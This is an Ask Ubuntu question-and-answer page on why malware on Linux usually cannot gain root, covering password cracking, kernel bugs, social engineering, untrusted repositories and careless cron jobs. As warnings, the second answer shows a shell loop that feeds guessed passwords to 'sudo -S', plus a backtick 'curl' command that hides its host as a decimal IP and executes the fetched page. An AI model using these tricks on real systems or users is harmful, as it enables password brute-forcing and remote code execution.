Take the 2-minute tour ×
Ask Ubuntu is a question and answer site for Ubuntu users and developers. It's 100% free, no registration required.

I understand that if any malware made it's way into a Linux system, it will, at most, gain a user-level privilege and ruin anything within the particular user's reach, i.e. the user's own files.

But what exactly keeps the malwares from gaining root-level access? Can it not somehow crack the password from within?

share|improve this question
    
Great question and answers! –  NlightNFotis Sep 1 '12 at 19:52
add comment

2 Answers 2

up vote 15 down vote accepted

This is a complex question. There are lots of different layers of security in a Ubuntu system, from complex frameworks like AppArmor to humble kernel variables like mmap_min_addr. You can add some kernel features like memory randomization in the mix. You can find a list of them along with a quick explanations on the Ubuntu Wiki.

Another important factor is that the updates are both fast and easy - so most computers will be updated to the last security fixes.

As far as I know, an attacker that has gained local access to your computer has three ways to scale the kernel privileges:

  1. Crack the password. But this is going to be really difficult, the password is stored encrypted, using algorithms with no known flaw. It will take ages to crack it.

  2. Bug in the kernel. But all the security features of the kernel will get in the way.

  3. Trick the user to give away the password, i.e. social engineering. Just show a fake password dialogue or use some other trick. This is the easiest way to do it.

The third point is the weakest vulnerability right now.

share|improve this answer
5  
Note that this "password" is the the password of an user with sudo-to-root privileges. The root account is disabled by default. #3 is indeed the most possible thing to happen. Additionally, if you install untrusted repositories, you are handing out free root accounts to that repository. –  Lekensteyn Feb 25 '11 at 19:04
    
@Lekensteyn, what?! How is adding untrusted repos handing out root access? By the way, you may want to post it as an answer, I want this thread to be some sort of community wiki. –  Oxwivi Feb 25 '11 at 19:10
    
There do not exist any threads on askubuntu, other than the server processes. You've just posted a comment to an answer to your question. I've added an answer with food for thought. –  Lekensteyn Feb 25 '11 at 20:42
    
@Oxwivi When you add a PPA, and install a package, the package has preinst and postinst scripts that can do whatever they please. It can also install a service to run as root or mess with sudoers. –  hexafraction Sep 21 '12 at 21:23
add comment

Cracking the root password itself is not possible, because Ubuntu disabled the root user by default. However, if your user can become root through sudo and your password is easy to guess/brute-force, you've an insecure system. Example script trying to test some password:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

Adding an untrusted repository allows programs from that repository be installed. Even if you do not explicitly install an application like sudo apt-get install [app-from-repo], the repository can still affect other programs by making Ubuntu believe that the repository contains a newer version of a certain program.

The update process is run as root, otherwise files could not be written to /usr/bin or /etc. An installation trigger is run as root too and can run arbitrarily, and possibly, harmful commands. Now, do not get worried, manual action is needed to update programs and the Ubuntu repositories are safe. Closed-source software like Windows can never be fully trusted because you cannot check the source for malicious code, but you can review the source of Ubuntu application if you need to (does not apply to proprietary programs like sun-java6 or Flash).

As mentioned by Javier Rivera, kernel bugs can lead to arbitrary code execution, but bugged software are possibly dangerous as well, especially buggy setsuid root binaries (binaries which will run under file owner, root) and other buggy programs running as root.

You can create security holes on your system if you do not pay attention to what you're doing. For example, without fully understanding the concept of cronjobs, you've added a cronjob to /etc/cron.daily which runs a program in your home folder (e.g. /bin/sh /home/your-username/myscript.sh. If the myscript.sh file is writable by you can be deleted by you, an exploit could put malicious code in myscript.sh which would be run as root (privilege escalation).

To stay safe, use your mind! Do not run commands from untrusted sources if you do not know what it does. If someone says run `curl 3221233674` with back-ticks, do not. 3221233674 is another way to write 192.0.32.10 (IP of example.com). So, it would be equal to:

`curl http://example.com/`

Those back-ticks causes the output be executed as shell commands. In plain English, "Download the page http://example.com/ and try to execute the downloaded page".

At first, you wouldn't see something malicious in the given command. But now, you know it can be abused too.

Always check commands/script you get from untrusted sources, like the Internet.

share|improve this answer
1  
Thanks for the answer, I hope you did not mind my edits. Take note of my edits to improve your English. –  Oxwivi Feb 25 '11 at 21:05
2  
Nah, I do not mind. Every improvement is welcome :) –  Lekensteyn Feb 25 '11 at 21:11
    
Regardless, this is an excellent post, the points you mentioned must be noted! –  Oxwivi Feb 25 '11 at 21:17
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.